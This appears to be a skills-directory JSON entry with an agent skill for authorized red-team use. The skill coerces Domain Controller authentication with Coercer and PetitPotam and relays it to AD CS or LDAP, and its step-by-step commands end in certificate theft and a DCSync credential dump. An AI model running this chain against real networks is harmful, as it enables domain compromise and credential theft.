[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AE1GJFDTH8GR24GMD9C6GA":3,"skill-same:01M6AE1GJFDTH8GR24GMD9C6GA":122},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":40,"linkOnly":41,"markdownContent":42,"markdownBody":43,"frontMatter":44,"refName":53,"commitSha":54,"skillDirectory":55,"forksCount":56,"repositoryHtmlUrl":57,"repositoryHomepageUrl":58,"ownerHtmlUrl":59,"ownerBlogUrl":60,"ownerDescription":61,"updatedAt":62,"install":63,"resources":76},"01M6AE1GJFDTH8GR24GMD9C6GA","coercing-authentication-with-coercer-petitpotam",null,"Trigger machine account authentication with PetitPotam (MS-EFSR) and Coercer (MS-RPRN, MS-DFSNM, MS-FSRVP, MS-EVEN) via Coercer's scan\u002Fcoerce\u002Ffuzz modes, feeding the coerced NTLM auth into a relay against AD CS Web Enrollment (ESC8), LDAP (RBCD), or SMB. Use in authorized engagements to complete a coercion-relay chain against a Domain Controller, or to validate coercion detections and signing\u002FEPA mitigations.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36078,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fcoercing-authentication-with-coercer-petitpotam\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39],"authentication","coercing authentication with coercer petitpotam","directory","cybersecurity","web","auth","validate","red-team","active-directory","ldap","coercion","petitpotam","coercer","ntlm-relay","esc8","forced-authentication","2026-11-10 10:12:30",false,"---\nname: coercing-authentication-with-coercer-petitpotam\ndescription: Trigger machine account authentication with PetitPotam (MS-EFSR) and Coercer (MS-RPRN, MS-DFSNM, MS-FSRVP, MS-EVEN) via Coercer's scan\u002Fcoerce\u002Ffuzz modes, feeding the coerced NTLM auth into a relay against AD CS Web Enrollment (ESC8), LDAP (RBCD), or SMB. Use in authorized engagements to complete a coercion-relay chain against a Domain Controller, or to validate coercion detections and signing\u002FEPA mitigations.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- active-directory\n- coercion\n- petitpotam\n- coercer\n- ntlm-relay\n- esc8\n- forced-authentication\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.CM-01\nmitre_attack:\n- T1187\n---\n# Coercing Authentication with Coercer and PetitPotam\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Authentication coercion combined with NTLM relay can yield domain compromise. Use only against systems you own or have explicit written authorization to test. Unauthorized use is illegal.\n\n## Overview\n\nMany Windows RPC interfaces expose methods that take a UNC path and cause the receiving server to authenticate to that path using its **machine account**. An attacker who can reach these interfaces can force a target (commonly a Domain Controller) to authenticate to an attacker-controlled host. On its own this is \"Forced Authentication\"; combined with an **NTLM relay**, the coerced machine credential is relayed to a service that does not enforce signing\u002FEPA, most famously AD CS Web Enrollment (**ESC8**), yielding a certificate for the Domain Controller and ultimately domain compromise.\n\n**PetitPotam** (Gilles Lionel \u002F topotam) abuses the MS-EFSR (Encrypting File System Remote Protocol) `EfsRpcOpenFileRaw` \u002F `EfsRpcEncryptFileSrv` methods. **Coercer** (p0dalirius) generalizes the technique: it is a Python tool that automatically coerces a Windows server to authenticate to an arbitrary machine through 12 methods spanning multiple protocols — MS-EFSR (PetitPotam), MS-RPRN (PrinterBug\u002FSpoolSample), MS-DFSNM (DFSCoerce), MS-FSRVP (ShadowCoerce), MS-EVEN, and more. Coercer operates in three modes: **scan** (probe which RPC methods are reachable\u002Fcoercible), **coerce** (trigger authentication), and **fuzz** (research path variations). Sources: [p0dalirius\u002FCoercer](https:\u002F\u002Fgithub.com\u002Fp0dalirius\u002FCoercer), [topotam\u002FPetitPotam](https:\u002F\u002Fgithub.com\u002Ftopotam\u002FPetitPotam), [The Hacker Recipes — Forced Authentications](https:\u002F\u002Fwww.thehacker.recipes\u002Fad\u002Fmovement\u002Fmitm-and-coerced-authentications).\n\n## When to Use\n\n- To complete an ESC8\u002FESC11 chain by forcing a DC to authenticate to a relay\n- To trigger machine authentication for NTLM relay to LDAP (RBCD) or SMB\n- When a relay target is identified but no inbound authentication is occurring naturally\n- During detection engineering to generate coercion telemetry for blue-team tuning\n- To validate that DCs\u002Fservers are patched and that relay mitigations (signing\u002FEPA) hold\n\n## Prerequisites\n\n- Authorized scope including coercion and NTLM relay techniques\n- Valid (often low-privileged) domain credentials; some methods work unauthenticated against unpatched hosts\n- A relay listener (Certipy `relay` or Impacket `ntlmrelayx`) on a reachable host\n- Network reachability to the target's RPC endpoints (135 + dynamic, 445)\n- Linux attack host with Python 3.8+; install the tools:\n  ```bash\n  # Coercer\n  pipx install coercer        # or: sudo python3 -m pip install coercer\n  coercer --help\n  # PetitPotam (source)\n  git clone https:\u002F\u002Fgithub.com\u002Ftopotam\u002FPetitPotam\n  # Impacket (provides ntlmrelayx, dFSCoerce etc.)\n  pipx install impacket\n  ```\n\n## Objectives\n\n- Identify which RPC coercion methods a target exposes (scan mode)\n- Stand up an NTLM relay pointed at a vulnerable service (e.g., AD CS web enrollment)\n- Coerce the target machine account to authenticate to the relay\n- Obtain a relayed artifact (DC certificate via ESC8, RBCD write via LDAP)\n- Document coercible methods and recommend patching\u002Fmitigations\n\n## MITRE ATT&CK Mapping\n\n| ID | Technique | Application in this skill |\n|----|-----------|---------------------------|\n| T1187 | Forced Authentication | Using MS-EFSR\u002FMS-RPRN\u002FMS-DFSNM\u002FMS-FSRVP RPC methods to force a target machine account to authenticate to an attacker-controlled host |\n\nChained techniques: T1557.001 (LLMNR\u002FNBT-NS Poisoning and SMB\u002FNTLM Relay) and T1649 (Steal or Forge Authentication Certificates) when relayed into AD CS.\n\n## Workflow\n\n### Step 1: Scan the target for coercible methods\nUse Coercer's scan mode to enumerate which RPC methods on the target can be leveraged. This identifies the best coercion vector without firing a full attack.\n\n```bash\ncoercer scan -u 'attacker' -p 'Passw0rd!' -d corp.local \\\n    -t 10.0.0.10 -l 10.0.0.50\n```\n`-t` is the target (e.g., the DC), `-l` is the listener IP that should receive the coerced authentication.\n\n### Step 2: Stand up the relay (ESC8 example)\nIn a separate terminal, start the relay aimed at AD CS web enrollment so any relayed DC authentication yields a DomainController certificate.\n\n```bash\n# Certipy relay into HTTP web enrollment (ESC8)\ncertipy relay -target 'http:\u002F\u002FCA.CORP.LOCAL' -template 'DomainController'\n\n# Alternative: Impacket ntlmrelayx\nimpacket-ntlmrelayx -t http:\u002F\u002FCA.CORP.LOCAL\u002Fcertsrv\u002Fcertfnsh.asp \\\n    -smb2support --adcs --template DomainController\n```\n\n### Step 3: Coerce authentication with Coercer\nTrigger the target machine account to authenticate to the relay\u002Flistener. `--always-continue` tries every method until one succeeds.\n\n```bash\ncoercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \\\n    -t 10.0.0.10 -l 10.0.0.50 --always-continue\n```\nTo use a single specific method (quieter), filter by method name:\n```bash\ncoercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \\\n    -t 10.0.0.10 -l 10.0.0.50 --filter-method-name PetitPotam\n```\n\n### Step 4: Coerce with PetitPotam directly (MS-EFSR)\nPetitPotam is the canonical MS-EFSR coercion and works unauthenticated against unpatched DCs. Syntax: `petitpotam.py \u003Clistener> \u003Ctarget>`.\n\n```bash\n# Unauthenticated attempt\npython3 PetitPotam.py 10.0.0.50 10.0.0.10\n# Authenticated (more reliable on patched-but-vulnerable hosts)\npython3 PetitPotam.py -u attacker -p 'Passw0rd!' -d corp.local 10.0.0.50 10.0.0.10\n```\n\n### Step 5: Use the relayed result\nFor ESC8, the relay writes a DC certificate (`dc.pfx`). Authenticate as the DC and DCSync.\n\n```bash\ncertipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100\n# Then DCSync with the recovered DC credential\nimpacket-secretsdump -k -no-pass 'corp.local\u002Fdc$@dc.corp.local' -just-dc\n```\n\n### Step 6: Relay to LDAP for RBCD (alternative chain)\nIf ESC8 is unavailable, relay coerced auth to LDAP to configure Resource-Based Constrained Delegation.\n\n```bash\n# Relay to LDAP and delegate to attacker-controlled computer account\nimpacket-ntlmrelayx -t ldap:\u002F\u002Fdc.corp.local --delegate-access \\\n    --escalate-user 'attacker$' -smb2support\n# Then coerce as in Step 3\n```\n\n### Step 7: Fuzz mode for unpatched-path discovery (research)\nFuzz mode varies UNC paths to find coercion paths bypassing partial patches.\n\n```bash\ncoercer fuzz -u 'attacker' -p 'Passw0rd!' -d corp.local \\\n    -t 10.0.0.10 -l 10.0.0.50\n```\n\n## Tools and Resources\n\n| Resource | Purpose | Link |\n|----------|---------|------|\n| Coercer | Multi-method automated coercion (12 methods) | https:\u002F\u002Fgithub.com\u002Fp0dalirius\u002FCoercer |\n| PetitPotam | MS-EFSR coercion | https:\u002F\u002Fgithub.com\u002Ftopotam\u002FPetitPotam |\n| Certipy relay | ESC8\u002FESC11 relay target | https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy |\n| Impacket ntlmrelayx | Relay to AD CS \u002F LDAP \u002F SMB | https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket |\n| The Hacker Recipes | Coercion & relay theory | https:\u002F\u002Fwww.thehacker.recipes\u002Fad\u002Fmovement\u002Fmitm-and-coerced-authentications |\n\n## Coercion Method Reference\n\n| Method | Protocol | Notes |\n|--------|----------|-------|\n| PetitPotam | MS-EFSR | EfsRpcOpenFileRaw \u002F EfsRpcEncryptFileSrv; classic ESC8 trigger |\n| PrinterBug \u002F SpoolSample | MS-RPRN | RpcRemoteFindFirstPrinterChangeNotificationEx; needs Spooler |\n| DFSCoerce | MS-DFSNM | NetrDfsAddStdRoot; often works post-PetitPotam patch |\n| ShadowCoerce | MS-FSRVP | IsPathSupported \u002F IsPathShadowCopied |\n| Others (Coercer) | MS-EVEN, etc. | 12 methods total; use `scan` to enumerate |\n\n## Validation Criteria\n\n- [ ] Coercer scan identified at least one reachable coercion method on the target\n- [ ] Relay listener stood up against a confirmed vulnerable service\n- [ ] Target machine account successfully coerced to authenticate to the listener\n- [ ] Relayed artifact obtained (DC certificate, RBCD write, or SMB exec)\n- [ ] (ESC8) DC certificate used to authenticate and DCSync demonstrated\n- [ ] Coercible methods documented with affected host and patch recommendation\n- [ ] Relay mitigations (SMB\u002FLDAP signing, EPA, RPC filters) validated or flagged\n","# Coercing Authentication with Coercer and PetitPotam\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Authentication coercion combined with NTLM relay can yield domain compromise. Use only against systems you own or have explicit written authorization to test. Unauthorized use is illegal.\n\n## Overview\n\nMany Windows RPC interfaces expose methods that take a UNC path and cause the receiving server to authenticate to that path using its **machine account**. An attacker who can reach these interfaces can force a target (commonly a Domain Controller) to authenticate to an attacker-controlled host. On its own this is \"Forced Authentication\"; combined with an **NTLM relay**, the coerced machine credential is relayed to a service that does not enforce signing\u002FEPA, most famously AD CS Web Enrollment (**ESC8**), yielding a certificate for the Domain Controller and ultimately domain compromise.\n\n**PetitPotam** (Gilles Lionel \u002F topotam) abuses the MS-EFSR (Encrypting File System Remote Protocol) `EfsRpcOpenFileRaw` \u002F `EfsRpcEncryptFileSrv` methods. **Coercer** (p0dalirius) generalizes the technique: it is a Python tool that automatically coerces a Windows server to authenticate to an arbitrary machine through 12 methods spanning multiple protocols — MS-EFSR (PetitPotam), MS-RPRN (PrinterBug\u002FSpoolSample), MS-DFSNM (DFSCoerce), MS-FSRVP (ShadowCoerce), MS-EVEN, and more. Coercer operates in three modes: **scan** (probe which RPC methods are reachable\u002Fcoercible), **coerce** (trigger authentication), and **fuzz** (research path variations). Sources: [p0dalirius\u002FCoercer](https:\u002F\u002Fgithub.com\u002Fp0dalirius\u002FCoercer), [topotam\u002FPetitPotam](https:\u002F\u002Fgithub.com\u002Ftopotam\u002FPetitPotam), [The Hacker Recipes — Forced Authentications](https:\u002F\u002Fwww.thehacker.recipes\u002Fad\u002Fmovement\u002Fmitm-and-coerced-authentications).\n\n## When to Use\n\n- To complete an ESC8\u002FESC11 chain by forcing a DC to authenticate to a relay\n- To trigger machine authentication for NTLM relay to LDAP (RBCD) or SMB\n- When a relay target is identified but no inbound authentication is occurring naturally\n- During detection engineering to generate coercion telemetry for blue-team tuning\n- To validate that DCs\u002Fservers are patched and that relay mitigations (signing\u002FEPA) hold\n\n## Prerequisites\n\n- Authorized scope including coercion and NTLM relay techniques\n- Valid (often low-privileged) domain credentials; some methods work unauthenticated against unpatched hosts\n- A relay listener (Certipy `relay` or Impacket `ntlmrelayx`) on a reachable host\n- Network reachability to the target's RPC endpoints (135 + dynamic, 445)\n- Linux attack host with Python 3.8+; install the tools:\n  ```bash\n  # Coercer\n  pipx install coercer        # or: sudo python3 -m pip install coercer\n  coercer --help\n  # PetitPotam (source)\n  git clone https:\u002F\u002Fgithub.com\u002Ftopotam\u002FPetitPotam\n  # Impacket (provides ntlmrelayx, dFSCoerce etc.)\n  pipx install impacket\n  ```\n\n## Objectives\n\n- Identify which RPC coercion methods a target exposes (scan mode)\n- Stand up an NTLM relay pointed at a vulnerable service (e.g., AD CS web enrollment)\n- Coerce the target machine account to authenticate to the relay\n- Obtain a relayed artifact (DC certificate via ESC8, RBCD write via LDAP)\n- Document coercible methods and recommend patching\u002Fmitigations\n\n## MITRE ATT&CK Mapping\n\n| ID | Technique | Application in this skill |\n|----|-----------|---------------------------|\n| T1187 | Forced Authentication | Using MS-EFSR\u002FMS-RPRN\u002FMS-DFSNM\u002FMS-FSRVP RPC methods to force a target machine account to authenticate to an attacker-controlled host |\n\nChained techniques: T1557.001 (LLMNR\u002FNBT-NS Poisoning and SMB\u002FNTLM Relay) and T1649 (Steal or Forge Authentication Certificates) when relayed into AD CS.\n\n## Workflow\n\n### Step 1: Scan the target for coercible methods\nUse Coercer's scan mode to enumerate which RPC methods on the target can be leveraged. This identifies the best coercion vector without firing a full attack.\n\n```bash\ncoercer scan -u 'attacker' -p 'Passw0rd!' -d corp.local \\\n    -t 10.0.0.10 -l 10.0.0.50\n```\n`-t` is the target (e.g., the DC), `-l` is the listener IP that should receive the coerced authentication.\n\n### Step 2: Stand up the relay (ESC8 example)\nIn a separate terminal, start the relay aimed at AD CS web enrollment so any relayed DC authentication yields a DomainController certificate.\n\n```bash\n# Certipy relay into HTTP web enrollment (ESC8)\ncertipy relay -target 'http:\u002F\u002FCA.CORP.LOCAL' -template 'DomainController'\n\n# Alternative: Impacket ntlmrelayx\nimpacket-ntlmrelayx -t http:\u002F\u002FCA.CORP.LOCAL\u002Fcertsrv\u002Fcertfnsh.asp \\\n    -smb2support --adcs --template DomainController\n```\n\n### Step 3: Coerce authentication with Coercer\nTrigger the target machine account to authenticate to the relay\u002Flistener. `--always-continue` tries every method until one succeeds.\n\n```bash\ncoercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \\\n    -t 10.0.0.10 -l 10.0.0.50 --always-continue\n```\nTo use a single specific method (quieter), filter by method name:\n```bash\ncoercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \\\n    -t 10.0.0.10 -l 10.0.0.50 --filter-method-name PetitPotam\n```\n\n### Step 4: Coerce with PetitPotam directly (MS-EFSR)\nPetitPotam is the canonical MS-EFSR coercion and works unauthenticated against unpatched DCs. Syntax: `petitpotam.py \u003Clistener> \u003Ctarget>`.\n\n```bash\n# Unauthenticated attempt\npython3 PetitPotam.py 10.0.0.50 10.0.0.10\n# Authenticated (more reliable on patched-but-vulnerable hosts)\npython3 PetitPotam.py -u attacker -p 'Passw0rd!' -d corp.local 10.0.0.50 10.0.0.10\n```\n\n### Step 5: Use the relayed result\nFor ESC8, the relay writes a DC certificate (`dc.pfx`). Authenticate as the DC and DCSync.\n\n```bash\ncertipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100\n# Then DCSync with the recovered DC credential\nimpacket-secretsdump -k -no-pass 'corp.local\u002Fdc$@dc.corp.local' -just-dc\n```\n\n### Step 6: Relay to LDAP for RBCD (alternative chain)\nIf ESC8 is unavailable, relay coerced auth to LDAP to configure Resource-Based Constrained Delegation.\n\n```bash\n# Relay to LDAP and delegate to attacker-controlled computer account\nimpacket-ntlmrelayx -t ldap:\u002F\u002Fdc.corp.local --delegate-access \\\n    --escalate-user 'attacker$' -smb2support\n# Then coerce as in Step 3\n```\n\n### Step 7: Fuzz mode for unpatched-path discovery (research)\nFuzz mode varies UNC paths to find coercion paths bypassing partial patches.\n\n```bash\ncoercer fuzz -u 'attacker' -p 'Passw0rd!' -d corp.local \\\n    -t 10.0.0.10 -l 10.0.0.50\n```\n\n## Tools and Resources\n\n| Resource | Purpose | Link |\n|----------|---------|------|\n| Coercer | Multi-method automated coercion (12 methods) | https:\u002F\u002Fgithub.com\u002Fp0dalirius\u002FCoercer |\n| PetitPotam | MS-EFSR coercion | https:\u002F\u002Fgithub.com\u002Ftopotam\u002FPetitPotam |\n| Certipy relay | ESC8\u002FESC11 relay target | https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy |\n| Impacket ntlmrelayx | Relay to AD CS \u002F LDAP \u002F SMB | https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket |\n| The Hacker Recipes | Coercion & relay theory | https:\u002F\u002Fwww.thehacker.recipes\u002Fad\u002Fmovement\u002Fmitm-and-coerced-authentications |\n\n## Coercion Method Reference\n\n| Method | Protocol | Notes |\n|--------|----------|-------|\n| PetitPotam | MS-EFSR | EfsRpcOpenFileRaw \u002F EfsRpcEncryptFileSrv; classic ESC8 trigger |\n| PrinterBug \u002F SpoolSample | MS-RPRN | RpcRemoteFindFirstPrinterChangeNotificationEx; needs Spooler |\n| DFSCoerce | MS-DFSNM | NetrDfsAddStdRoot; often works post-PetitPotam patch |\n| ShadowCoerce | MS-FSRVP | IsPathSupported \u002F IsPathShadowCopied |\n| Others (Coercer) | MS-EVEN, etc. | 12 methods total; use `scan` to enumerate |\n\n## Validation Criteria\n\n- [ ] Coercer scan identified at least one reachable coercion method on the target\n- [ ] Relay listener stood up against a confirmed vulnerable service\n- [ ] Target machine account successfully coerced to authenticate to the listener\n- [ ] Relayed artifact obtained (DC certificate, RBCD write, or SMB exec)\n- [ ] (ESC8) DC certificate used to authenticate and DCSync demonstrated\n- [ ] Coercible methods documented with affected host and patch recommendation\n- [ ] Relay mitigations (SMB\u002FLDAP signing, EPA, RPC filters) validated or flagged\n",{"name":5,"tags":45,"author":46,"domain":27,"license":15,"version":47,"nist_csf":48,"subdomain":50,"description":7,"mitre_attack":51},[31,32,34,35,36,37,38,39],"mahipal","1.0",[49],"DE.CM-01","red-teaming",[52],"T1187","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fcoercing-authentication-with-coercer-petitpotam",4414,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":64,"prompt":74,"zipAvailable":75},[65,68,71],{"tool":66,"command":67},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill coercing-authentication-with-coercer-petitpotam",{"tool":69,"command":70},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill coercing-authentication-with-coercer-petitpotam",{"tool":72,"command":73},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill coercing-authentication-with-coercer-petitpotam","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fcoercing-authentication-with-coercer-petitpotam\u002FSKILL.md",true,[77,83,87,91,95,99,104,108,112,118],{"path":78,"resourceType":79,"resourceTypeDesc":80,"sizeBytes":81,"sourceHtmlUrl":82},"agents\u002Fopenai.yaml","REFERENCE","参考文档",152,"https:\u002F\u002Fgithub.com\u002FVortex375\u002Fseraph\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fsetup-matt-pocock-skills\u002Fagents\u002Fopenai.yaml",{"path":84,"resourceType":79,"resourceTypeDesc":80,"sizeBytes":85,"sourceHtmlUrl":86},"domain.md",2042,"https:\u002F\u002Fgithub.com\u002FVortex375\u002Fseraph\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fsetup-matt-pocock-skills\u002Fdomain.md",{"path":88,"resourceType":79,"resourceTypeDesc":80,"sizeBytes":89,"sourceHtmlUrl":90},"issue-tracker-github.md",4117,"https:\u002F\u002Fgithub.com\u002FVortex375\u002Fseraph\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fsetup-matt-pocock-skills\u002Fissue-tracker-github.md",{"path":92,"resourceType":79,"resourceTypeDesc":80,"sizeBytes":93,"sourceHtmlUrl":94},"issue-tracker-gitlab.md",3816,"https:\u002F\u002Fgithub.com\u002FVortex375\u002Fseraph\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fsetup-matt-pocock-skills\u002Fissue-tracker-gitlab.md",{"path":96,"resourceType":79,"resourceTypeDesc":80,"sizeBytes":97,"sourceHtmlUrl":98},"issue-tracker-local.md",1810,"https:\u002F\u002Fgithub.com\u002FVortex375\u002Fseraph\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fsetup-matt-pocock-skills\u002Fissue-tracker-local.md",{"path":100,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":102,"sourceHtmlUrl":103},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fcoercing-authentication-with-coercer-petitpotam\u002FLICENSE",{"path":105,"resourceType":79,"resourceTypeDesc":80,"sizeBytes":106,"sourceHtmlUrl":107},"references\u002Fapi-reference.md",2438,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fcoercing-authentication-with-coercer-petitpotam\u002Freferences\u002Fapi-reference.md",{"path":109,"resourceType":79,"resourceTypeDesc":80,"sizeBytes":110,"sourceHtmlUrl":111},"references\u002Fstandards.md",1355,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fcoercing-authentication-with-coercer-petitpotam\u002Freferences\u002Fstandards.md",{"path":113,"resourceType":114,"resourceTypeDesc":115,"sizeBytes":116,"sourceHtmlUrl":117},"scripts\u002Fagent.py","SCRIPT","脚本",4675,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fcoercing-authentication-with-coercer-petitpotam\u002Fscripts\u002Fagent.py",{"path":119,"resourceType":79,"resourceTypeDesc":80,"sizeBytes":120,"sourceHtmlUrl":121},"triage-labels.md",1057,"https:\u002F\u002Fgithub.com\u002FVortex375\u002Fseraph\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fsetup-matt-pocock-skills\u002Ftriage-labels.md",[123,150,174,202,228,255],{"skillNo":124,"name":125,"nameZh":6,"description":126,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":127,"categories":128,"keywords":130,"publishedAt":40},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[129],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[131,132,133,134,135,27,136,137,138,139,140,141,142,143,144,145,146,147,148,149],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","identity","pr","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":151,"name":152,"nameZh":6,"description":153,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":154,"categories":155,"keywords":157,"publishedAt":40},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[156],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[158,146,159,160,135,161,27,138,162,163,164,165,166,167,168,169,170,171,172,173],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":175,"name":176,"nameZh":6,"description":177,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":178,"categories":179,"keywords":184,"publishedAt":40},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[180,183],{"categoryNo":181,"categoryName":182,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[168,185,186,187,188,27,189,190,162,191,192,193,194,195,196,197,198,199,200,201],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":203,"name":204,"nameZh":6,"description":205,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":206,"categories":207,"keywords":209,"publishedAt":40},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[208],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[210,211,212,27,213,214,215,216,217,218,219,220,221,222,223,224,165,225,226,227],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":229,"name":230,"nameZh":6,"description":231,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":232,"categories":233,"keywords":235,"publishedAt":40},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and 